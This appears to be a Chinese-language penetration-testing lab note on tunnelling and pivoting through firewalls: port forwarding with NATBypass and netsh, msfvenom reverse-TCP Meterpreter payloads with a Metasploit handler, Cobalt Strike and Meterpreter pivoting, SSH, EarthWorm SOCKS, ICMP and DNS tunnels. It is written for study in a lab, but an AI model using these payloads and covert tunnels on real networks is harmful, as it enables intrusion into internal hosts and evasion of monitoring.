在實際的網路中,通常會通過各種邊界裝置、軟/硬體防火牆甚至入侵檢測系統來檢查對外連線情況,如果發現異樣,就會對通訊進行阻斷。那麼什麼是隧道呢?這裡的隧道,就是一種繞過埠遮蔽的通訊方式。防火牆兩端的封包通過防火牆所允許的封包型別或埠進行封裝,然後穿過防火牆,與對方進行通訊。當封裝的封包到達目的地時,將封包還原,並將還原後的封包傳送到相應伺服器上。
在一些網路環境中,如果攻擊者使用各類上層隧道(例如HTTP隧道,DNS隧道,正反向埠轉發等)進行操作均失敗。那麼可以嘗試使用ICMP建立隧道,ICMP協定不需要埠的開放,因為其基於IP工作的,所以我們將其歸結到網路層,ICMP訊息最為常見的就是ping命令的回覆,將TCP/UDP封包封裝到ICMP的ping封包中,從而穿過防火牆(通常防火牆是不會遮蔽ping封包的)
防火牆只允許ping出站流量,利用ptunnel建立ICMP隧道,從而實現傳輸資料。
在資料通訊被攔截的情況下利用隧道技術封裝改變通訊協定進行繞過攔截,解決CS、MSF無法上線,資料傳輸不穩定無回顯,出口資料被監控,網路通訊存在問題等。
網路層:IPv6 隧道、ICMP 隧道
傳輸層:TCP 隧道、UDP 隧道、常規埠轉發
應用層:SSH 隧道、HTTP/S 隧道、DNS 隧道
代理是為了解決網路通訊問題,如:我在學校,如何連線在網咖的你?我在中國,如何存取油管?
隧道在代理之上,在建立連線的情況下,如何突破各種網路限制,來建立穩固連線
埠對映與埠轉發用於釋出防火牆內部的伺服器或者防火牆內部的使用者端計算機,有的路由器也有埠對映與埠轉發功能。埠對映與埠轉發實現的功能類似,但又不完全一樣。埠對映是將外網的一個埠完全對映給內網一個地址的指定埠,而埠轉發是將發往外網的一個埠的通訊完全轉發給內網一個地址的指定埠。埠對映可以實現外網到內網和內網到外網雙向的通訊,而埠轉發只能實現外網到內網的單向通訊。
隧道與埠轉發的概念不是很清晰,這裡參考:https://hsk.oray.com/news/9757.html
關於nc,參見我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/112888661
關於反彈sehll,參見我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/111740527
最原始的lcx找不著了,在github上搜尋,表現較好的是下面這個
專案地址:https://github.com/cw1997/NATBypass
資源列表如下,下載64位元的
實驗目標:kali獲取內網主機的3389
把自己127.0.0.1的3389轉發到192.168.42.129的6666埠
.\nb-windows-amd64.exe -slave 192.168.42.129:6666 127.0.0.1:3389
把6666埠的流量轉發到7777埠
.\nb-windows-amd64.exe -listen 6666 7777
kali連線192.168.40.131:7777相當於連線192.168.40.131:6666,相當於192.168.42.128:3389
rdesktop 192.168.40.131:7777
輸入正確是賬號密碼即可連線
netsh是windows系統自帶的一個命令列工具,這個工具可以內建埠轉發功能
實現:當kali存取win2012的某埠時,可以存取到內網win7的某埠。
演示:當kali存取win2012的6666埠時,可以存取到內網win7的3389埠。
win2012只需要設定為:允許任意主機存取自己的6666埠時,自己就把流量轉發給win7的3389埠
新增埠轉發的命令
netsh interface portproxy add v4tov4 listenport=6666 connectaddress=192.168.195.138 connectport=3389
檢視埠轉發的記錄表
netsh interface portproxy show all
清除指定規則
netsh interface portproxy delete v4tov4 listenport=6666
清除所有規則
netsh interface portproxy reset
實驗思路:
不知道為什麼,這個實驗沒做出來,重置了一下網路,新的網路拓撲如下圖
後續:經過排查得知,是因為win2012開啟了防火牆,導致實驗失敗。關閉防火牆即可。
操作:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.128 lport=6666 -f exe >s.exe
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.239.141 connectport=4444
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
實驗目標:已經使用cs拿下win2012,如何把win2012作為跳板機去存取目標win7
雙擊start.bat
就行了
這部分的操作,簡單截個圖算了。詳情參見之前的筆記:語雀地址、CSDN地址
3.1 設定監聽器
3.2 生成powshell
3.3 主機上線
果然開放了4444埠,那麼我們只需要通過win2012即可正向連線到win7
注意,ip和埠之間是沒有冒號的,否則會失敗
connect 10.10.1.129 4444
如果內網靶機有防火牆進行攔截,那麼正向連線就會失敗,為了解決這個問題,就需要使用反向連線。
即:讓內網目標win7反向連線代理伺服器win2012
不知道錯誤原因,先不管了。
先拿下win2012
msfvenom -p windows/meterpreter/reverse_tcp lport=4455 -f exe >hack.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4455
exploit
portfwd add -l 8080 -r 192.168.239.201 -p 3389
需要確認win7開啟了3389,否則不能直接搞。
meterpreter > portfwd add -l 5566 -r 10.10.10.131 -p 3389
實現通過存取原生的4477埠,存取到了win7的80埠
portfwd add -l 4477 -r 10.10.10.131 -p 80
方式1:存取 http://localhost:4477
方式2:存取 http://192.168.239.141:4477
方式3:可以直接使用BurpSuite
SSH會自動加密和解密所有SSH使用者端與伺服器端之間的網路資料。但是,SSH還能夠將其他TCP埠的網路資料通過SSH連結來轉發,並且自動提供了響應的解密服務。這一過程也被叫做「隧道」(tunneling),這是因為SSH為其他TCP連結提供了一個安全的通道來進行傳輸而得名,例如SMTP、LDAP這些TCP應用均能夠從中得益,避免了使用者名稱,密碼以及隱私資訊的傳輸。而此同時,如果工作環境中的防火牆限制了一些網路埠的使用,但是允許SSH的連線,也能夠通過將TCP埠轉發來使用SSH進行通訊。
實現思路:kali連線一臺aws的雲伺服器,通過它存取網際網路,突破網路限制。
vim /etc/ssh/sshd_config
PasswordAuthentication no
修改為PasswordAuthentication yes
PermitRootLogin yes
service sshd restart
ssh -qTfnN -D 7070 root@3.112.252.229
-C 為壓縮資料
-q 安靜模式
-T 禁止遠端分配終端
-n 關閉標準輸入
-N 建立靜默連線,就是建立了連線(不執行登入shell)
-f 將SSH傳輸放在後臺執行
-D 動態轉發
實現:kali能透過Cent7存取到內網win7的web服務
在kali上執行如下命令:
ssh -L 本地埠:目標IP:目標埠 root@192.168.40.150 -fN
ssh -L 6666:10.10.10.128:80 root@192.168.40.150 -fN
-f 將SSH傳輸放在後臺執行
-N 建立靜默連線,就是建立了連線(不執行登入shell)
實現:kali能透過Cent7連線win7的遠端桌面
ssh -L 7777:10.10.10.128:3389 root@192.168.40.150 -fN
rdesktop 10.10.10.128:3389
kali希望能存取到ubuntu的80埠,但是Cent7和ubuntu之間只允許3306埠通訊,如何解決?
/etc/ssh/sshd_config
中的GatewayPorts
修改為yes
,沒有的話新增此項內容,之後重新啟動SSH。這個設定的作用是,遠端轉發後將127.0.0.1改為0.0.0.0,攻擊者kali就可以通過指定埠就能存取內網的ubuntu
實現,任何機器只要連線了跳板機的8866埠,就能轉發到Ubuntu的80埠
ssh -R 8866:10.10.10.131:80 root@10.10.10.130 -fN
EW 是一套行動式的網路穿透工具,具有 SOCKS v5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透,目前工具已經停止更新(此工具被查殺嚴重)。使用方法在下面的連結中作者已經介紹了,可以參考
下載地址:https://github.com/idlefire/ew
官方網站:http://rootkiter.com/EarthWorm
引數如下:
-s 選擇功能型別:
共包含6種功能:
ssocksd:正向代理
rcsocks:反向代理1,流量轉發
rssocks:反向代理2,反彈socks5
lcx_listen:反向代理1,流量轉發
lcx_tran:埠轉發
lcx_slave:埠繫結
-l 指定要監聽的本地埠
-d 指定要反彈到的機器 ip
-e 指定要反彈到的機器埠
-f 指定要主動連線的機器 ip
-g 指定要主動連線的機器埠
-t 指定超時時長,預設為1000
環境拓撲如下,kali希望存取到內網vm2
思路:win2012開啟代理,只有有人連線了自己的9999埠,自己就把它轉發走
ew_for_Win.exe -s ssocksd -l 9999 //在9999埠上開啟socks代理,ssocksd提供正向代理功能
環境拓撲如下,kali希望存取到內網vm2
思路:win7開啟反向代理,反彈socks5到win2012,win2012開啟反向代理,連線win7,再流量轉發功能
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
ew_for_Win.exe -s rssocks -d 10.10.10.129 -e 6666
常見埠掃描也是可以的
proxychains4 nmap -Pn -sT -sV 10.10.10.128 -F
如果使用者可以ping通遠端計算機,就可以嘗試建立ICMP隧道,將TCP資料通過該隧道傳送,實現不受限的網路存取。
引數:
-p 代理伺服器地址,即跳板機地址
-lp 本地埠
-da 目標內網IP,即我們的目標機IP
-dp 目標埠,即我們要的目標機埠
-c 網路卡編號
-v 顯示詳細過程,值可以-1-5,-1為不顯示,5為最詳細
-udp 通過dns協定傳輸,埠為udp53
-x 進入此隧道密碼,如果伺服器加該引數,使用者端也需要加同樣引數和值
-f 指定一個紀錄檔檔案
網路拓撲如下,攻擊者想要實現和目標之間自由通訊(目前只能實現ICMP互通)
iptables -F //清除規則
iptables -A INPUT -p tcp -s 192.168.40.129 -j DROP //新增規則
iptables -L //檢視規則
代理可以正常存取
攻擊者存取失敗
sudo ptunnel -x 1234
sudo ptunnel -p 192.168.40.140 -lp 8080 -da 192.168.40.139 -dp 80 -x 1234
什麼是DNS隧道?
DNS隧道(DNS Tunneling)是將其他協定的內容封裝在DNS協定中,然後以DNS請求和響應包完成傳輸資料(通訊)的技術。當前網路世界中的DNS是一項必不可少的服務,所以防火牆和入侵檢測裝置處於可用性和使用者友好的考慮大都不會過濾DNS流量,也為DNS成為隱蔽通道創造了條件,因此,DNS隧道在殭屍網路和APT攻擊中扮演著重要的角色。
DNS隧道的原理
在進行DNS查詢時,如果查詢的域名不在DNS伺服器本機的快取中,就會存取網際網路進行查詢,然後返回結果。如果在網際網路上有一臺客製化的伺服器那麼依靠DNS協定即可進行封包的交換。從DNS協定的角度看,這樣的操作只是在一次次查詢某個特定的域名並得到解析結果,但其本質問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字串,包括加密的C&C指令。
DNS隧道分為兩種
直連模式:使用者端直接向指定IP地址的DNS伺服器發起DNS解析請求
中繼模式:DNS經過網際網路的迭代解析,指向指定的DNS伺服器。
區別在於直連模式速度相對快,但安全性相對較差。非直連模式速度相對較慢,但安全性相對較高。大多數情況下都使用中繼模式。
(另外直連方式的限制比較多,如目前很多的企業網路為了儘可能的降低遭受網路攻擊的風險,一般將相關策略設定為僅允許與指定的可信任DNS伺服器之間的流量通過。)
dns2tcp是一個利用DNS隧道轉發TCP連線的工具,支援KEY和TXT型別的請求,用C語言開發。它分為兩個部分,伺服器端和使用者端。伺服器端執行在inux伺服器上,使用者端可以執行在linx和 windows上(其他平臺沒有測試過),編譯完成後在伺服器端上的可執行檔名稱為dns2tcp,在使用者端(linux)上的名稱為dns2tcpc,kali預設安裝了二者。下述為主要引數及解釋,詳情請參考手冊。
需要搞個vps就算了,還得搞個域名,太麻煩,操作參見他人的文章吧:https://blog.csdn.net/smli_ng/article/details/106159155